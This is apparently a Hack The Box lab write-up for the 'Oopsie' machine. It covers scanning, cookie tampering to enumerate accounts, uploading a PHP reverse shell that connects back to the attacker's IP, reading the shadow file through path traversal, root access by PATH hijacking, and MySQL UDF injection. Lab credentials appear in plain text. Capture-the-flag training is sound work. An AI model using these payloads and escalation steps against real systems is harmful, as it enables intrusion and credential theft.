Oopsie HTB | WriteUp

$ nmap -sV -sC -p- $IP -oN nmap-$IP.out

whatweb $IP > whatweb.out

We can remember that possible user is admin.

$ gobuster dir -w /usr/wl/dirbuster-m.txt -x txt,php -u http://$1 -o gbdir-$1-http.out

$ curl -X OPTIONS -I http://$IP/uploads/

$ nikto -h $IP

Website (:80)

At the bottom of the page we see that it should have some login front.

By looking at the a source code we can find where the login page is located (also we can see that in the nikto output):

/cdn-cgi/login/

Here, in the source code, apart from the following JS script we don’t see anything useful.

Ok, now that we don’t have any clues about credentials we can use — but let’s try some of these from the Archetype box.

admin/MEGACORP_4dm1n!! is the answer.

On the top navigation bar there is an Upload page - this is something we should check right away for possible reverse shell uploads.

/cdn-cgi/login/admin.php?content=uploads

That’s an interesting one. We come back here after we enumerate users

/cdn-cgi/login/admin.php?content=accounts&id=1

Using the Developer Tools (F12) we can peek the request and cookies:

Let’s enumerate the id query parameter to discover some users.

# account_enum.py
import requests
import urllib3
import re
from tabulate import tabulate
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
host = "10.10.10.28"
url = f"http://{host}/cdn-cgi/login/admin.php?content=accounts&id="
headers = {}
cookies = {"user":"34322", "role":"admin"}
t_header = ["ID", "Name", "Email"]
t_matches = []
re_pattern = "<table><tr><th>Access ID</th><th>Name</th><th>Email</th></tr><tr><td>(?P<ID>.+)</td><td>(?P<Name>.+)</td><td>(?P<Email>.+)</td></tr></table"
for i in range(100):
    r = requests.get(f"{url}{i}", cookies=cookies, headers=headers, verify=False)
    match = re.search(re_pattern, r.text)
    if match != None:
        t_matches.append([match["ID"], match["Name"], match["Email"]])
print(tabulate(t_matches, t_header))

Ok, so when we replace the cookies with super admin account details, we should be able to see the Uploads page.

Exploiting (user shell)

First, we can try the simplest payload:

# pshell.php

<?php
$sock=fsockopen("10.10.XX.XXX",4445);
$proc=proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

Let’s see curl http://10.10.10.28/uploads/pshell.php

Here, reverse shell obtained.

Semi stabilizing shell and alias

$ alias ls='ls --color=always -lAh'
$ python3 -c "import pty;pty.spawn('/bin/bash')"

Some more interesting findings:

Another credential to add.

$ echo 'robert|M3g4C0rpUs3r!' | tee -a ../.credentials
robert|M3g4C0rpUs3r!
$ cat ../.credentials

sql_svc|M3g4c0rp123
administrator|MEGACORP_4dm1n!!
robert|M3g4C0rpUs3r!

Search for user flag:

Lateral movement

Now we can try to reuse DB credentials to switch shell user.

Check for sudo rights

bugtracker group

This group is not a standard one. We should be curious about such creations. By using find command, we can easily track down all files to which group have special permissions to.

find / -group bugtracker 2>/dev/null

Interesting. It looks like some custom application. Lets strace it.

$ strace bugtracker

It is waiting for the input — type anything and hit enter. Later down the stack, we see that application permissions are temporarily elevated to the root permissions

And following path is cat out.

It is even better visible by using ltrace

New to strace and ltrace?

Application is trying to cat the file out. Using directory traversal, we can read the shadow file.

robert@oopsie:/var/www/html/uploads$ bugtracker

And try to crack root password it with john:

$ unshadow passwd.txt shadow.txt > unshadowed.txt
$ john --wordlist=/usr/wl/rockyou.txt unshadowed.txt

Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:53:11 DONE (2021-05-30 15:45) 0g/s 4493p/s 4493c/s 4493C/s !!!playboy!!!7..*7¡Vamos!
Session completed

But we can’t crack it. At this point, we can simply cat out the root flag

But let’s assume we don’t know where the flag lays.

Escalating Privileges

In the debugging sessions, we see that cat is not referenced via an absolute /bin/cat path. We can exploit that. The plan is to modify PATH variable to include directory, so it will be searched before /bin/. In this directory, we are going to create cat file that will call /bin/bash. As we've observed before, cat (whatever it may be) is run with temporary elevated privileges - that way we can get the root shell.

export PATH=/tmp:$PATH
cd /tmp/
echo '/bin/sh' > cat
chmod +x cat

That way, we have a cat executable file that will be called inside bugtracker instead /bin/cat.

Remember that because we have modified cat in a PATH we should, either unset the /tmp: or call cat via its absolute path.

Post-exploitation

When you read the reports in the /root/reports you will see many references to the filezilla and its config. It happens that .config directory actually exists in the /root

Alright — another credential to save.

echo 'ftpuser|mc@F1l3ZilL4' | tee -a ../.credentials

MySQL

Let’s see what we can get by using robert account with mysql.

mysql> use garage;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| garage             |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.00 sec)

mysql> show tables;
+------------------+
| Tables_in_garage |
+------------------+
| accounts         |
| branding         |
| clients          |
+------------------+
3 rows in set (0.00 sec)

Let’s grab password hashes and check it on CrackStation.

mysql> select user,authentication_string from mysql.user;
+------------------+-------------------------------------------+
| user             | authentication_string                     |
+------------------+-------------------------------------------+
| root             |                                           |
| mysql.session    | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| mysql.sys        | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| debian-sys-maint | *D1DBADEE9E3EE2D0767B40F19463FB6C5EB6D594 |
| dbuser           | *9CFBBC772F3F6C106020035386DA5BBBF1249A11 |
| robert           | *2429DD64CD7A63687EA257432557FEFDA6D6F2A1 |
+------------------+-------------------------------------------+
6 rows in set (0.00 sec)

echo 'dbuser|toor' | tee -a ../.credentials

Arbitrary Library Injection (rabbit hole?)

• Super_priv

This exploit is abusing user privileges to INSERT and DELETE on ‘mysql’ administrative database, so it is possible to use a library located in an arbitrary directory. We can use it to prepare a library with do_system function to execute shell commands with root privileges.

For a quick wrap up — I did manage to upload the library payload and add its path to mysql.func table.

INSERT INTO mysql.func (name,dl) VALUES ('do_system','/var/lib/mysql-files/lib_mysqludf_sys.so');

The last step was restarting the MySQL server — which I could have done on user account partially. Following will shut down the MySQL…

CREATE FUNCTION exit RETURNS INTEGER SONAME 'libc.so.6';
SELECT exit(0);